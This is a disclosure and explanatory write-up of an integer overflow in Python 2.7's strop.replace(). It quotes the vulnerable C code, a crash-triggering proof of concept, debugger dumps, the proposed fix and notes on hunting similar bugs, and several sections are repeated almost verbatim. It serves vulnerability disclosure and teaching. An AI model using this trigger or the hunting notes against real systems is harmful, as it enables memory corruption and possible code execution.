Python 2.7 strop.replace Integer Overflow
The strop.replace() function in Python 2.7 calculates the size of the output buffer without checking for integer overflow, so a large substitution can cause a heap buffer overflow. An attacker could potentially achieve code execution by triggering the overflow.
Originally disclosed on HackerOne
- Fixed in 20 days
- Paid in 20 days
- Disclosed after 21 days
I reported this via email a while ago, and I think it slipped through the cracks. This one's nice clean overflow in the strop module, which is deprecated but still available in Python 2.7 and in use.
Original url: https://bugs.python.org/issue24708
The Python strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:
static char * mymemreplace(const char str, Py_ssize_t len, / input string */ const char pat, Py_ssize_t pat_len, / pattern string to find */ const char sub, Py_ssize_t sub_len, / substitution string / Py_ssize_t count, / number of replacements */ Py_ssize_t *out_len) { [...]
new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
if (new_len == 0) {
/* Have to allocate something for the caller to free(). */
out_s = (char *)PyMem_MALLOC(1);
if (out_s == NULL)
return NULL;
out_s[0] = '\0';
}
else {
assert(new_len > 0);
new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
if (new_s == NULL)
return NULL;
out_s = new_s;
for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
/* find index of next instance of pattern */
offset = mymemfind(str, len, pat, pat_len);
if (offset == -1)
break;
/* copy non matching part of input string */
memcpy(new_s, str, offset);
str += offset + pat_len;
len -= offset + pat_len;
/* copy substitute into the output string */
new_s += offset;
memcpy(new_s, sub, sub_len);
new_s += sub_len;
}
/* copy any remaining values into output string */
if (len > 0)
memcpy(new_s, str, len);
}
[...]
}
The following script demonstrates the issue:
import strop strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
When run under a debugger, it produces the following exception:
0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> db esi
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> k
ChildEBP RetAddr
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v -nodb
-
* -
Exception Analysis * -
*
FAULTING_IP: MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188] 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 57096000 Attempt to write to address 57096000
CONTEXT: 00000000 -- (.cxr 0x0;r) eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000 eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 MSVCR90!memcpy+0x5a: 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
FAULTING_THREAD: 00001408
PROCESS_NAME: python.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 57096000
WRITE_ADDRESS: 57096000
FOLLOWUP_IP: MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188] 7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
NTGLOBALFLAG: 470
APPLICATION_VERIFIER_FLAGS: 0
APP: python.exe
ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
LAST_CONTROL_TRANSFER: from 1e056efc to 7026ae7a
STACK_TEXT:
0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a
0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc
0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb
0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47
0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0
0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22
0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a
0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965
0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f
0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: .cxr 0x0 ; kb
FAULTING_SOURCE_LINE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
FAULTING_SOURCE_FILE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
FAULTING_SOURCE_LINE_NUMBER: 188
FAULTING_SOURCE_CODE:
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: msvcr90!memcpy+5a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: MSVCR90
IMAGE_NAME: MSVCR90.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 51ea24a5
FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy
FAILURE_ID_HASH: {031149d8-0626-9042-d8b7-a1766b1c5514}
Followup: MachineOwner
To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. Proposed patches for stropmodule.c and test_strop.py are attached.
Context
The target here is CPython, specifically the strop module shipped with Python 2.7. strop is a deprecated C extension module, but it is still present and importable in Python 2.7, and the researcher notes it was still in use. The module exposes string helpers implemented in C, and the one at issue is strop.replace(), which performs substring substitution the way str.replace() does: it scans the input for a pattern and writes the replacement into a newly allocated buffer.
The vulnerable routine is mymemreplace() in stropmodule.c. It first counts the occurrences of the pattern, computes the size of the output buffer from the input length and the number of substitutions, allocates that buffer, and then copies the input and the substitute strings into it. The bug is that the size computation is unchecked integer arithmetic, so a large enough substitution makes the computed length wrap around to a small value while the copy loop still writes the full amount of data.
The researcher had reported the issue by email some time earlier and believed it had slipped through the cracks, and also filed it upstream at https://bugs.python.org/issue24708.
Setup
The report does not describe a particular build environment beyond the debugger output. The crash was reproduced on a 32-bit Windows build of Python 2.7 (python27, python.exe), running against the Microsoft C runtime MSVCR90.dll, and analysed in a debugger with the !analyze -v -nodb extension. The source paths in the stack trace point at a build tree under c:\build27\cpython, with the relevant code in modules\stropmodule.c.
The report does not describe preconditions beyond calling strop.replace() with the large substitution shown.
Finding it
The researcher describes the issue as a clean overflow in the strop module. The arithmetic that sizes the output buffer is:
new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
len is the input length, nfound the number of matches, sub_len the length of the substitute and pat_len the length of the pattern. When the substitution is much longer than the pattern and there are many matches, nfound*(sub_len - pat_len) grows without bound and the addition wraps. The result is a new_len that is small, or even negative, while the real amount of data to be written is far larger.
The allocation then uses the wrapped value:
new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
The copy loop, however, is driven by len, not by new_len:
for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
Inside the loop, each iteration copies the non-matching prefix with memcpy(new_s, str, offset), advances past the pattern, then copies the substitute with memcpy(new_s, sub, sub_len). After the loop, any remaining input is copied with memcpy(new_s, str, len). None of these copies is bounded by the size of the allocation, so once new_len has wrapped, the writes run past the end of the heap buffer.
Exploitation
Step 1: trigger the overflow
The researcher's proof of concept is a three-line script:
import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
The input is 0xEAAA copies of the byte 0x75 (u), the pattern is a single u, and the substitute is 0xAAAA copies of AA, so every input byte matches and is replaced by a two-byte string. The substitution is longer than the pattern and the match count is large, which is exactly the shape needed to overflow the length arithmetic.
Step 2: observe the crash under a debugger
Running the script under the debugger stops inside memcpy:
0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
The instruction is a repeated move from esi to edi. Dumping memory around the destination shows the buffer filled with the substitute bytes up to its end, and then unmapped or unreadable memory immediately after:
0:000> db edi-0x10
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
The source buffer is full of 41 (A) bytes, the substitute data being copied:
0:000> db esi
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
The call stack confirms the path from the interpreter down to the copy:
0:000> k
ChildEBP RetAddr
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
Step 3: confirm the fault is a write past the allocation
The debugger's exception analysis identifies the faulting instruction and the write address:
FAULTING_IP:
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 57096000
Attempt to write to address 57096000
The exception code c0000005 is an access violation, and the parameter flags it as a write. The analysis classifies the failure as a string dereference with an invalid pointer write:
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_NXCODE
The stack text repeats the same call chain, with mymemreplace and strop_replace frames above memcpy, and the failure bucket is recorded as:
FAILURE_BUCKET_ID: [redacted].dll!memcpy
BUCKET_ID: [redacted]!memcpy+5a
In this run the write landed on memory that was not writable, so the process died. The report says the overflow can be exploited to write outside the string buffer and potentially achieve code execution.
Root cause
mymemreplace() computes the output size as len + nfound*(sub_len - pat_len) in signed pointer-sized arithmetic without checking for overflow. When the product or the sum wraps, new_len no longer reflects the amount of data the loop will write. The allocation is made with the wrapped value, but the copy loop is bounded by the input length and the substitute length, so memcpy writes past the end of the buffer.
The code contains an assert(new_len > 0) before the allocation, but no check that the computed length matches the bytes copied. There is no check that the computed length is consistent with the actual number of bytes that will be copied, and the memcpy calls themselves have no bounds against the allocation.
Impact
The report states that the overflow can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The affected component is the deprecated strop module, which is still available in Python 2.7 and in use. The practical exposure depends on whether an application passes attacker-controlled data and arguments into strop.replace(); the report does not enumerate specific applications or attack surfaces beyond that. The researcher hedges code execution as potential rather than demonstrated, and the debugger session shows a crash rather than a controlled exploit.
Fix
The proposed fix is to validate that the computed new_len has not overflowed before allocating. The check the researcher describes is to compare (new_len - len) / nfound against sub_len - pat_len; if the two are not equal, an overflow has occurred. Patches for stropmodule.c and test_strop.py were attached to the report.
Variants to test
- Other length arithmetic in C extension modules. Any place that computes an output size from a count multiplied by a per-item delta, then allocates and copies in a separate loop, is a candidate. A positive result is a computed size that is smaller than the number of bytes the copy loop writes, visible as a crash or heap corruption under a debugger.
- Different pattern and substitute lengths. The trigger needs the substitute longer than the pattern and enough matches for the product to wrap. Varying the ratio and the input length shows whether the wrap point is reachable with smaller inputs on a given build.
- Different integer widths. The same code on a 64-bit build needs a much larger input to wrap, so check whether the arithmetic is done in
Py_ssize_tand whether the wrap is reachable at all on the target platform. - Release builds. Confirm the behaviour without a debugger and without asserts, since
assert(new_len > 0)disappears in release builds. A positive result is heap corruption or a crash in a normal, non-debug interpreter.
Hunting notes
This kind of bug hides in legacy C extension modules that are deprecated but still shipped and importable, especially those that do their own buffer sizing rather than going through the modern string APIs. During recon, the signals are modules written in C with hand-rolled memcpy loops, size computations involving multiplication by a match or item count, and allocations whose result is used by a loop bounded by a different variable. The report shows a debugger-confirmed out-of-bounds write with a full call stack and points at the unchecked expression and the allocation that consumes it.
What happened, in plain words
Python 2.7 shipped with a module called strop. A module is a bundle of ready-made functions you can load into a program; strop was written in C rather than in Python itself, which makes it fast, and it offered string helpers. One of those helpers, strop.replace(), swaps one piece of text for another inside a string, the same job the ordinary str.replace() does. The researcher found that if you ask strop.replace() to make a very large substitution, the arithmetic it uses to work out how much memory it needs goes wrong. It ends up reserving a small amount of memory but then writing far more data into it than fits, spilling past the end of the reserved area. That kind of mistake is called a buffer overflow, and it can crash the program or, in the right conditions, let an attacker run their own code.
The researcher had sent this in by email some time before and thought it had been missed, and also filed it in Python's public bug tracker at https://bugs.python.org/issue24708.
Background: the pieces involved
Before the details, a few ideas that come up throughout.
- CPython is the standard implementation of the Python language, the program you get when you install Python from python.org. It is written mostly in C.
- A C extension module is a piece of software written in the C language that plugs into Python and behaves like a normal Python module. Because C talks to memory directly, a mistake in a C module can corrupt memory in ways pure Python code cannot.
- Deprecated means the maintainers have decided the feature should no longer be used and will eventually be removed, but it is still there for now.
stropwas deprecated, yet still present and importable in Python 2.7, and the researcher notes it was still in use. - A buffer is a block of memory set aside to hold data, like a row of numbered pigeonholes. Writing "past the end of the buffer" means putting data into pigeonholes that were never reserved for you, which belong to something else.
- An integer overflow happens when a number grows too large for the fixed-width slot the computer stores it in. A 32-bit slot, for example, holds values up to a limit; add one more and it wraps around to a small or negative number, the way a car odometer rolls over from 999999 to 000000. The computer does not raise an error, it just silently gives you the wrong number.
memcpyis a standard C function that copies a block of bytes from one place in memory to another. It copies exactly as many bytes as you tell it to, and it does not check whether the destination has room.- A debugger is a tool that lets you pause a running program, inspect its memory, and see which function called which. The output in this report comes from a Microsoft debugger on Windows.
The vulnerable code
The routine at fault is called mymemreplace(), and it lives in a source file named stropmodule.c. Here is the shape of what it does, as quoted in the report:
static char *
mymemreplace(const char *str, Py_ssize_t len, /* input string */
const char *pat, Py_ssize_t pat_len, /* pattern string to find */
const char *sub, Py_ssize_t sub_len, /* substitution string */
Py_ssize_t count, /* number of replacements */
Py_ssize_t *out_len)
{
[...]
new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
if (new_len == 0) {
/* Have to allocate something for the caller to free(). */
out_s = (char *)PyMem_MALLOC(1);
if (out_s == NULL)
return NULL;
out_s[0] = '\0';
}
else {
assert(new_len > 0);
new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
if (new_s == NULL)
return NULL;
out_s = new_s;
for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
/* find index of next instance of pattern */
offset = mymemfind(str, len, pat, pat_len);
if (offset == -1)
break;
/* copy non matching part of input string */
memcpy(new_s, str, offset);
str += offset + pat_len;
len -= offset + pat_len;
/* copy substitute into the output string */
new_s += offset;
memcpy(new_s, sub, sub_len);
new_s += sub_len;
}
/* copy any remaining values into output string */
if (len > 0)
memcpy(new_s, str, len);
}
[...]
}
Line by line, in plain words:
- The function receives the input string
strand its lengthlen, the pattern to look for (pat,pat_len), the replacement text (sub,sub_len), how many replacements to make (count), and a place to report the output length (out_len). new_len = len + nfound*(sub_len - pat_len);works out how big the result will be. The idea is sensible: start with the input length, then for each of thenfoundmatches, add the difference between the replacement length and the pattern length. If you replace a one-character pattern with a two-character substitute, each match adds one byte. The comment marks the danger: this arithmetic is unchecked, so it can overflow.- If
new_lencame out as zero, the code reserves a single byte so the caller has something to free later. Freeing means handing memory back to the system when you are done with it. - Otherwise it checks
assert(new_len > 0). An assert is a sanity check for developers; in a normal release build it is compiled out and does nothing. new_s = (char *)PyMem_MALLOC(new_len);reservesnew_lenbytes of memory.PyMem_MALLOCis Python's own memory-reserving function, the equivalent of asking the operating system for a block of a given size. If the size number is wrong because of the overflow, the block reserved is wrong too.- The
forloop walks through the input, one match at a time, as long as there are replacements left (count > 0) and input left (len > 0). The comment flags the mismatch: the loop is controlled bylen, the original input length, not by the possibly-wrappednew_len. offset = mymemfind(...)finds where the next pattern occurs. If it returns-1, there are no more matches and the loop stops.memcpy(new_s, str, offset);copies the part of the input before the match into the output buffer.str += offset + pat_len;andlen -= offset + pat_len;move the input pointer past the match and shrink the remaining length accordingly.new_s += offset;moves the output pointer forward, thenmemcpy(new_s, sub, sub_len);copies the replacement text in, andnew_s += sub_len;advances the output pointer past it.- After the loop, if any input remains,
memcpy(new_s, str, len);copies the tail.
The heart of the bug: the amount of memory reserved is decided by new_len, but the amount of data written is decided by the input and the replacements. When new_len wraps to a small number, the reservation is small while the writes keep going, and memcpy happily writes past the end of the reserved block.
Setup
The report does not describe a particular build environment beyond the debugger output. The crash was reproduced on a 32-bit Windows build of Python 2.7 (the executable python.exe, the library python27), running against the Microsoft C runtime MSVCR90.dll, and analysed in a debugger using the !analyze -v -nodb extension. The source paths in the stack trace point at a build tree under c:\build27\cpython, with the relevant code in modules\stropmodule.c.
The report does not describe preconditions beyond calling strop.replace() with the large substitution shown.
Finding it
The researcher describes the issue as a clean overflow in the strop module. The arithmetic that sizes the output buffer is:
new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
len is the input length, nfound the number of matches, sub_len the length of the substitute and pat_len the length of the pattern. When the substitute is much longer than the pattern and there are many matches, nfound*(sub_len - pat_len) grows without bound and the addition wraps. The result is a new_len that is small, or even negative, while the real amount of data to be written is far larger.
The reservation then uses the wrapped value:
new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
The copy loop, however, is driven by len, not by new_len:
for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
Inside the loop, each pass copies the non-matching prefix with memcpy(new_s, str, offset), steps past the pattern, then copies the substitute with memcpy(new_s, sub, sub_len). After the loop, any remaining input is copied with memcpy(new_s, str, len). None of these copies is limited by the size of the reservation, so once new_len has wrapped, the writes run past the end of the heap buffer. The heap is the general pool of memory a program uses for data it creates while running.
Exploitation
Step 1: trigger the overflow
The researcher's proof of concept is a three-line script:
import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
Line by line:
import stroploads the module so its functions can be called.strop.replace(...)calls the vulnerable function with three arguments. The first,"\x75"*0xEAAA, builds an input string of0xEAAAcopies of the byte0x75, which is the letteru. The second,"\x75", is the pattern: a singleu. The third,"AA"*0xAAAA, is the substitute:0xAAAAcopies of the two-character stringAA.
Because every input byte matches the one-character pattern, every one of them is replaced by a two-character string. The substitute is longer than the pattern and the match count is large, which is exactly the shape needed to overflow the length arithmetic. The numbers are written in hexadecimal, a base-16 way of writing numbers that programmers use because it maps neatly onto bytes.
Step 2: observe the crash under a debugger
Running the script under the debugger stops inside memcpy:
0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
This is the debugger's register dump. Registers are the handful of tiny, very fast storage slots inside the processor. esi and edi are two of them, and by convention in this kind of copy esi points at the source data and edi at the destination. The instruction shown, rep movs, is a repeated move: copy from the address in esi to the address in edi, over and over. The debugger has paused on it because the copy is about to touch memory it should not.
Dumping memory around the destination shows the buffer filled with the substitute bytes up to its end, and then unreadable memory immediately after:
0:000> db edi-0x10
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
